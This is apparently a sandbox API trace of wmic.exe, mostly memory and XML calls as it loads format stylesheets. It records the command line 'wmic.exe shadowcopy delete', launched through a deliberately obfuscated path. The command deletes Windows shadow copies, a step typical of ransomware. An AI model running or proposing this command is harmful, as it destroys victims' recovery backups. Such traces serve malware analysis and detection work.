varVal1="texttablewsys", varVal2=0x4)) returned 0x0 [0061.289] malloc (_Size=0x18) returned 0x60c7a0 [0061.289] malloc (_Size=0x18) returned 0x60c7c0 [0061.290] SysStringLen (param_1="texttablewsys") returned 0xd [0061.290] SysStringLen (param_1="TABLE") returned 0x5 [0061.290] SysStringLen (param_1="texttablewsys") returned 0xd [0061.290] SysStringLen (param_1="XML") returned 0x3 [0061.290] SysStringLen (param_1="texttablewsys") returned 0xd [0061.290] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.290] SysStringLen (param_1="XML") returned 0x3 [0061.290] SysStringLen (param_1="texttablewsys") returned 0xd [0061.290] malloc (_Size=0x30) returned 0x608300 [0061.290] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.290] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.290] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.290] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=11, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.290] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.290] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.290] malloc (_Size=0x18) returned 0x60c7e0 [0061.290] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.290] free (_Block=0x60c7e0) [0061.290] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x4)) returned 0x0 [0061.290] malloc (_Size=0x18) returned 0x60c7e0 [0061.290] malloc (_Size=0x18) returned 0x60c800 [0061.290] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.290] SysStringLen (param_1="TABLE") returned 0x5 [0061.290] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.291] SysStringLen (param_1="XML") returned 0x3 [0061.291] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.291] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.291] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.291] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.291] malloc (_Size=0x30) returned 0x608340 [0061.291] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.291] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.291] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.291] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=12, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.291] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.291] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.291] malloc (_Size=0x18) returned 0x60c820 [0061.291] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.291] free (_Block=0x60c820) [0061.291] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x4)) returned 0x0 [0061.291] malloc (_Size=0x18) returned 0x60c820 [0061.291] malloc (_Size=0x18) returned 0x60c840 [0061.291] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.291] SysStringLen (param_1="TABLE") returned 0x5 [0061.291] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.291] SysStringLen (param_1="XML") returned 0x3 [0061.291] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.291] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.291] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.291] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.291] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.291] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.292] malloc (_Size=0x30) returned 0x608380 [0061.292] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.292] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.292] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.292] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=13, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.292] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.292] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.292] malloc (_Size=0x18) returned 0x60c860 [0061.292] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.292] free (_Block=0x60c860) [0061.292] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x4)) returned 0x0 [0061.292] malloc (_Size=0x18) returned 0x60c860 [0061.292] malloc (_Size=0x18) returned 0x60c880 [0061.292] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.292] SysStringLen (param_1="TABLE") returned 0x5 [0061.292] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.292] SysStringLen (param_1="XML") returned 0x3 [0061.292] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.292] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.292] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.292] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.292] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.292] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.292] malloc (_Size=0x30) returned 0x6083c0 [0061.293] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.293] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.293] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.293] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=14, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.293] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.293] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.293] malloc (_Size=0x18) returned 0x60c8a0 [0061.293] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.293] free (_Block=0x60c8a0) [0061.293] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x4)) returned 0x0 [0061.293] malloc (_Size=0x18) returned 0x60c8a0 [0061.293] malloc (_Size=0x18) returned 0x60c8c0 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] SysStringLen (param_1="TABLE") returned 0x5 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] SysStringLen (param_1="XML") returned 0x3 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.293] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.293] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0061.293] malloc (_Size=0x30) returned 0x608400 [0061.293] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.293] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.293] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.294] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=15, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.294] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="htable.xsl") returned 0x0 [0061.294] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.294] malloc (_Size=0x18) returned 0x60c8e0 [0061.294] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.294] free (_Block=0x60c8e0) [0061.294] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x4)) returned 0x0 [0061.294] malloc (_Size=0x18) returned 0x60c8e0 [0061.294] malloc (_Size=0x18) returned 0x60c900 [0061.294] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.294] SysStringLen (param_1="TABLE") returned 0x5 [0061.294] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.294] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.294] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.294] SysStringLen (param_1="XML") returned 0x3 [0061.294] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.294] SysStringLen (param_1="texttablewsys") returned 0xd [0061.294] SysStringLen (param_1="XML") returned 0x3 [0061.294] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.294] malloc (_Size=0x30) returned 0x608440 [0061.294] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.294] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.294] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.294] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=16, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.294] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="htable.xsl") returned 0x0 [0061.295] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.295] malloc (_Size=0x18) returned 0x60c920 [0061.295] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.295] free (_Block=0x60c920) [0061.295] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x4)) returned 0x0 [0061.295] malloc (_Size=0x18) returned 0x60c920 [0061.295] malloc (_Size=0x18) returned 0x60c940 [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] SysStringLen (param_1="TABLE") returned 0x5 [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] SysStringLen (param_1="XML") returned 0x3 [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] SysStringLen (param_1="texttablewsys") returned 0xd [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0061.295] SysStringLen (param_1="XML") returned 0x3 [0061.295] SysStringLen (param_1="htable-sortby") returned 0xd [0061.295] malloc (_Size=0x30) returned 0x608480 [0061.295] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.295] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.295] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.295] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=17, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.296] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="mof.xsl") returned 0x0 [0061.296] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.296] malloc (_Size=0x18) returned 0x60c960 [0061.296] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.296] free (_Block=0x60c960) [0061.296] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x4)) returned 0x0 [0061.296] malloc (_Size=0x18) returned 0x60c960 [0061.296] malloc (_Size=0x18) returned 0x60c980 [0061.296] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.296] SysStringLen (param_1="TABLE") returned 0x5 [0061.296] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.296] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.296] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.296] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.296] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.296] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.296] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.296] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.296] malloc (_Size=0x30) returned 0x6084c0 [0061.296] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.296] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.297] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.297] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=18, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.297] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="mof.xsl") returned 0x0 [0061.297] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.297] malloc (_Size=0x18) returned 0x60c9a0 [0061.297] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.297] free (_Block=0x60c9a0) [0061.297] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x4)) returned 0x0 [0061.297] malloc (_Size=0x18) returned 0x60c9a0 [0061.297] malloc (_Size=0x18) returned 0x60c9c0 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] SysStringLen (param_1="TABLE") returned 0x5 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0061.297] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.297] SysStringLen (param_1="wmiclimofformat") returned 0xf [0061.297] malloc (_Size=0x30) returned 0x608500 [0061.298] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.298] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.298] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.298] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=19, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.298] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="textvaluelist.xsl") returned 0x0 [0061.298] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.298] malloc (_Size=0x18) returned 0x60c9e0 [0061.298] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.298] free (_Block=0x60c9e0) [0061.298] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x4)) returned 0x0 [0061.298] malloc (_Size=0x18) returned 0x60c9e0 [0061.298] malloc (_Size=0x18) returned 0x60ca00 [0061.298] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.298] SysStringLen (param_1="TABLE") returned 0x5 [0061.298] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.298] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.298] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.298] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.298] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.298] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.298] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.298] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.298] malloc (_Size=0x30) returned 0x608540 [0061.298] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.299] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.299] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.299] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=20, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.299] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="textvaluelist.xsl") returned 0x0 [0061.299] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.299] malloc (_Size=0x18) returned 0x60ca20 [0061.299] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.299] free (_Block=0x60ca20) [0061.299] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x4)) returned 0x0 [0061.299] malloc (_Size=0x18) returned 0x60ca20 [0061.299] malloc (_Size=0x18) returned 0x60ca40 [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] SysStringLen (param_1="TABLE") returned 0x5 [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0061.299] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0061.299] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0061.299] malloc (_Size=0x30) returned 0x608580 [0061.299] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.299] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.299] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.300] IUnknown:Release (This=0x20e9cc0) returned 0x0 [0061.300] FreeThreadedDOMDocument:IUnknown:Release (This=0x20ebc50) returned 0x1 [0061.300] FreeThreadedDOMDocument:IUnknown:Release (This=0x20e71d0) returned 0x0 [0061.300] free (_Block=0x606e80) [0061.300] GetCommandLineW () returned="\"C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\wmic.exe\" shadowcopy delete" [0061.301] malloc (_Size=0xf0) returned 0x60cd30 [0061.301] memcpy_s (in: _Destination=0x60cd30, _DestinationSize=0xee, _Source=0x3225ae, _SourceSize=0xe6 | out: _Destination=0x60cd30) returned 0x0 [0061.301] malloc (_Size=0x18) returned 0x60ca60 [0061.301] malloc (_Size=0x18) returned 0x60ca80 [0061.301] malloc (_Size=0x18) returned 0x60caa0 [0061.301] malloc (_Size=0x18) returned 0x60cac0 [0061.301] malloc (_Size=0x80) returned 0x607090 [0061.301] GetLocalTime (in: lpSystemTime=0x14f930 | out: lpSystemTime=0x14f930*(wYear=0x7e3, wMonth=0x6, wDayOfWeek=0x0, wDay=0x2, wHour=0x4, wMinute=0x28, wSecond=0x33, wMilliseconds=0xa3)) [0061.301] _vsnwprintf (in: _Buffer=0x607090, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x14f888 | out: _Buffer="06-02-2019T04:40:51") returned 19 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.301] malloc (_Size=0x26) returned 0x606e80 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.301] malloc (_Size=0x26) returned 0x606eb0 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.301] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.302] malloc (_Size=0x16) returned 0x60cae0 [0061.302] lstrlenW (lpString="shadowcopy") returned 10 [0061.302] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0061.302] malloc (_Size=0x16) returned 0x60cb00 [0061.302] malloc (_Size=0x8) returned 0x606ee0 [0061.302] free (_Block=0x0) [0061.302] free (_Block=0x60cae0) [0061.302] lstrlenW (lpString=" shadowcopy delete") returned 18 [0061.302] malloc (_Size=0xe) returned 0x60cae0 [0061.302] lstrlenW (lpString="delete") returned 6 [0061.302] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0061.302] malloc (_Size=0xe) returned 0x60cb20 [0061.302] malloc (_Size=0x10) returned 0x60cb40 [0061.302] memmove_s (in: _Destination=0x60cb40, _DestinationSize=0x8, _Source=0x606ee0, _SourceSize=0x8 | out: _Destination=0x60cb40) returned 0x0 [0061.302] free (_Block=0x606ee0) [0061.302] free (_Block=0x0) [0061.302] free (_Block=0x60cae0) [0061.302] malloc (_Size=0x10) returned 0x60cae0 [0061.302] lstrlenW (lpString="QUIT") returned 4 [0061.302] lstrlenW (lpString="shadowcopy") returned 10 [0061.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0061.302] lstrlenW (lpString="EXIT") returned 4 [0061.302] lstrlenW (lpString="shadowcopy") returned 10 [0061.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0061.302] free (_Block=0x60cae0) [0061.302] WbemLocator:IUnknown:AddRef (This=0x1cd1390) returned 0x2 [0061.302] malloc (_Size=0x10) returned 0x60cae0 [0061.302] lstrlenW (lpString="/") returned 1 [0061.302] lstrlenW (lpString="shadowcopy") returned 10 [0061.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0061.302] lstrlenW (lpString="-") returned 1 [0061.302] lstrlenW (lpString="shadowcopy") returned 10 [0061.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0061.303] lstrlenW (lpString="CLASS") returned 5 [0061.303] lstrlenW (lpString="shadowcopy") returned 10 [0061.303] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0061.303] lstrlenW (lpString="PATH") returned 4 [0061.303] lstrlenW (lpString="shadowcopy") returned 10 [0061.303] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0061.303] lstrlenW (lpString="CONTEXT") returned 7 [0061.303] lstrlenW (lpString="shadowcopy") returned 10 [0061.303] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0061.303] lstrlenW (lpString="shadowcopy") returned 10 [0061.303] malloc (_Size=0x16) returned 0x60cb60 [0061.303] lstrlenW (lpString="shadowcopy") returned 10 [0061.304] GetCurrentThreadId () returned 0xa7c [0061.304] ??0CHString@@QEAA@XZ () returned 0x14f740 [0061.304] malloc (_Size=0x18) returned 0x60cb80 [0061.304] malloc (_Size=0x18) returned 0x60cba0 [0061.304] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1cd1390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff512998 | out: ppNamespace=0xff512998*=0x1ce3a98) returned 0x0 [0061.619] free (_Block=0x60cba0) [0061.619] free (_Block=0x60cb80) [0061.619] CoSetProxyBlanket (pProxy=0x1ce3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0061.620] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.620] GetCurrentThreadId () returned 0xa7c [0061.620] ??0CHString@@QEAA@XZ () returned 0x14f5d8 [0061.620] malloc (_Size=0x18) returned 0x60cb80 [0061.620] malloc (_Size=0x18) returned 0x60cba0 [0061.620] malloc (_Size=0x18) returned 0x60cbc0 [0061.620] malloc (_Size=0x18) returned 0x60cbe0 [0061.620] SysStringLen (param_1="root\\cli") returned 0x8 [0061.620] SysStringLen (param_1="\\") returned 0x1 [0061.620] malloc (_Size=0x18) returned 0x60cc00 [0061.620] SysStringLen (param_1="root\\cli\\") returned 0x9 [0061.620] SysStringLen (param_1="ms_409") returned 0x6 [0061.620] free (_Block=0x60cbe0) [0061.620] free (_Block=0x60cbc0) [0061.620] free (_Block=0x60cba0) [0061.620] free (_Block=0x60cb80) [0061.620] malloc (_Size=0x18) returned 0x60cb80 [0061.620] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1cd1390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff5129a0 | out: ppNamespace=0xff5129a0*=0x1ce3b28) returned 0x0 [0061.656] free (_Block=0x60cb80) [0061.656] free (_Block=0x60cc00) [0061.656] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.656] GetCurrentThreadId () returned 0xa7c [0061.657] ??0CHString@@QEAA@XZ () returned 0x14f750 [0061.657] malloc (_Size=0x18) returned 0x60cc00 [0061.657] malloc (_Size=0x18) returned 0x60cb80 [0061.657] malloc (_Size=0x18) returned 0x60cba0 [0061.657] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0061.657] malloc (_Size=0x3a) returned 0x606ee0 [0061.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff4a1980, cbMultiByte=-1, lpWideCharStr=0x606ee0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0061.657] free (_Block=0x606ee0) [0061.657] malloc (_Size=0x18) returned 0x60cbc0 [0061.657] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0061.657] SysStringLen (param_1="shadowcopy") returned 0xa [0061.657] malloc (_Size=0x18) returned 0x60cbe0 [0061.657] 